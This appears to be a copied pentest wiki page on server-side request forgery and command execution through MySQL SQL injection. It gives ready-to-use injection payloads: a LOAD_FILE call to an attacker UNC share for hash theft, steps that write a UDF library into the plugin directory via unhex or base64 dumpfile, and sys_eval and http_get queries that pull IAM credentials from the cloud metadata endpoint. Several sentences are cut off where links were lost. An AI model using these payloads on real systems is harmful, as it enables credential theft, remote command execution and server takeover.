Mysql SSRF
Last updated
Was this helpful?
Last updated
Was this helpful?
Post copied from ****
Every SQL Out of Band data exfiltration article will use the LOAD_FILE()
string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started.
For example, if the secure_file_priv
global variable was not set, the , which means that you can only use functions like LOAD_FILE('filename')
or LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename
to read files from the /var/lib/mysql-files/
directory. To be able to perform reads on files outside this directory, the secure_file_priv
option has to be set to ""
which can only be done by updating the database configuration file or by passing the --secure_file_priv=""
as a startup parameter to the database service.
This Server Side Request Forgery, although useful, is restricted to only TCP port 445. You cannot control the port number, but can read information from shares setup with full read privs. Also, as has been shown with older research, you can use this limited SSRF capability to steal hashes and relay them to get shells, so it’s definitely useful.
Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL.
You could use a SQL Injection to write a library (.so
or .dll
depending on Linux or Windows), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries.
This has its own set of restrictions though. Based on the version of MySQL, which you can identify with select @@version
, the directory where plugins can be loaded from is restricted. MySQL below v5.0.67
allowed for library files to be loaded from system path if the plugin_dir
variable was not set. This has changed now and newer versions have the plugin_dir
variable set to something like /usr/lib/mysql/plugin/
, which is usually owned by root.
Basically for you to load a custom library into MySQL and call a function from the loaded library via SQL Injection, you would need the
ability to write to the location specified in @@plugin_dir
via SQL Injection
file_priv
set to Y
in mysql.user
for the current database user
secure_file_priv
set to ""
so that you can read the raw bytes of the library from an arbitrary location like the network or a file uploads directory in a web application.
x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //
x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //
In any case, you need to transfer the library to the database server. You can do this in multiple ways
Use the MySQL hex()
string function or something like xxd -p filename.so | tr -d '\n'
to convert the contents of the library to hex format and then dumping it to the @@plugin_dir
directory using x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
Alternatively, convert the contents of filename.so
to base64 and use x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
If the @@plugin_dir
is not writable, then you are out of luck if the version is above v5.0.67
. Otherwise, write to a different location that is in path and load the UDF library from there using
for the lib_mysqludf_sys
library - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
for the mysql-udf-http
library - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //
Nevertheless, under circumstances where secure_file_priv
is set to ""
, we should be able to read other files on the system, assuming file read perms and file_priv
is set to Y
in mysql.user
for current database user. However, being able to use these functions to make network calls is very operating system dependent. As these functions are built only to read files, the only network relevant calls that can be made are to UNC paths on Windows hosts as the .
So if your target database is running on a Windows machine the injection query x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //
would .
Assuming the above conditions are met, you can use the classical approach of transferring the to the database server. You would then be able to make operating system command requests like cURL
or powershell wget
to perform SSRF using the syntax
There are a lot of other functions declared in this library, an analysis of which can be seen . If you are lazy like me, you can grab a copy of this UDF library, for the target OS, from a metasploit installation from the /usr/share/metasploit-framework/data/exploits/mysql/
directory and get going.
Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use to get the database to make HTTP requests, using the following syntax
You could also
For automating this, you can use SQLMap which supports .
For Blind SQL Injections you could redirect output of the UDF functions to a temporay table and then read the data from there or use .